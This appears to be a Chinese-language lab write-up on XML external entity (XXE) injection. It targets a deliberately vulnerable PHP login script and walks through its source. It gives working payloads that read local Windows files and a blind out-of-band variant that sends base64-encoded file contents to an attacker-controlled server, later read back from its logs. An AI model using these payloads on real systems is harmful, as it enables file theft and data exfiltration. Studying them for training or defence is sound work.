php_xxe

首先我们看一下源码:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//使用php伪协议获取我们输入的内容

try{
    $dom = new DOMDocument();//创建一个xml对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//从我们输入的内容中加载xml
    $creds = simplexml_import_dom($dom,'SimpleXMLElement');//把 DOM 节点转换为 SimpleXMLElement 对象

    $username = $creds->username;//获取username标签的值
    $password = $creds->password;//获取password标签的值

    if($username == $USERNAME && $password == $PASSWORD){
    //我们输入的值与指定的值相同的时候
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
        //输出用户名的值
    }else{
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    }    
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());//获取异常消息并输出
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

函数介绍:
libxml_disable_entity_loader()

libxml_disable_entity_loader()    禁用/启用加载外部实体的功能
libxml_disable_entity_loader ([ bool $disable=TRUE ]):bool
disable    禁用(TRUE)或启用(FALSE)libxml扩展(例如 DOM,XMLWriter 和XMLReader)以加载外部实体。

file_get_contents()

file_get_contents()    将整个文件以字符串格式读取,该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
file_get_contents(path,include_path,context,start,max_length)
path    必需。规定要读取的文件。
include_path    可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context    可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start    可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length    可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

DOMDocument()

DOMDocument()    创建一个DOM文档对象

DOMDocument :: loadXML

DOMDocument :: loadXML    从字符串中加载XML
public DOMDocument::loadXML ( string $source [, int $options = 0 ] ) : mixed
source    包含XML的字符串。
options    按位OR 的的libxml的选项常量。https://www.php.net/manual/zh/libxml.constants.php
成功时返回 TRUE, 或者在失败时返回 FALSE。 If called statically, returns a DOMDocument 或者在失败时返回 FALSE.
LIBXML_NOENT    替代实体
LIBXML_DTDLOAD    加载外部子集
https://www.php.net/manual/zh/domdocument.loadxml.php

simplexml_import_dom()

simplexml_import_dom() 函数把 DOM 节点转换为 SimpleXMLElement 对象。如果失败,则该函数返回 false。
simplexml_import_dom(data,class)
data    必需。规定要使用的 DOM 节点。
class    必需。规定新对象的 class。

getMessage()

getMessage()获取异常消息

看完之后我们使用如下代码来测试:

<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>Mikasa</password></user>

返回结果:

无回显的测试
首先我们修改源代码,将其输出内容的代码注释掉:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
error_reporting(0);//--------------------->添加的代码
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom,'SimpleXMLElement');

    $username = $creds->username;
    $password = $creds->password;

    if($username == $USERNAME && $password == $PASSWORD){
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
    }else{
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    }    
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
//echo $result;-------------------------------->注释的代码
?>

然后我们使用之前的代码进行测试:

没有再返回内容,这时候我们需要借用另外一台服务器来接受返回的数据。
我们再一台服务器中的根www目录下evil.xml,内容如下,其中指定的ip地址是自己的ip地址:

<!ENTITY % all 
    "<!ENTITY &#x25; send SYSTEM 'http://192.168.252.130/?%file;'>"
>
%all;

然后我们在请求代码如下:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
//定义参数实体file   SYSTEM表示参数实体引用外部实体内容  内容为如上引号内容。
<!ENTITY % dtd SYSTEM "http://192.168.252.130/evil.xml">//定义参数实体dtd 内容为    http://192.168.252.130/evil.xml 里面的内容
%dtd;        //执行%dtd的代码
%send;        //执行%send代码
]>
<user><username>&all;</username><password>root</password></user>

我们发送内容的时候需要将上面代码中的注释删除。
发送测试代码:

然后我们查看apache下的日志:

其中的数据就是应该返回的数据,使用base64加密。

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏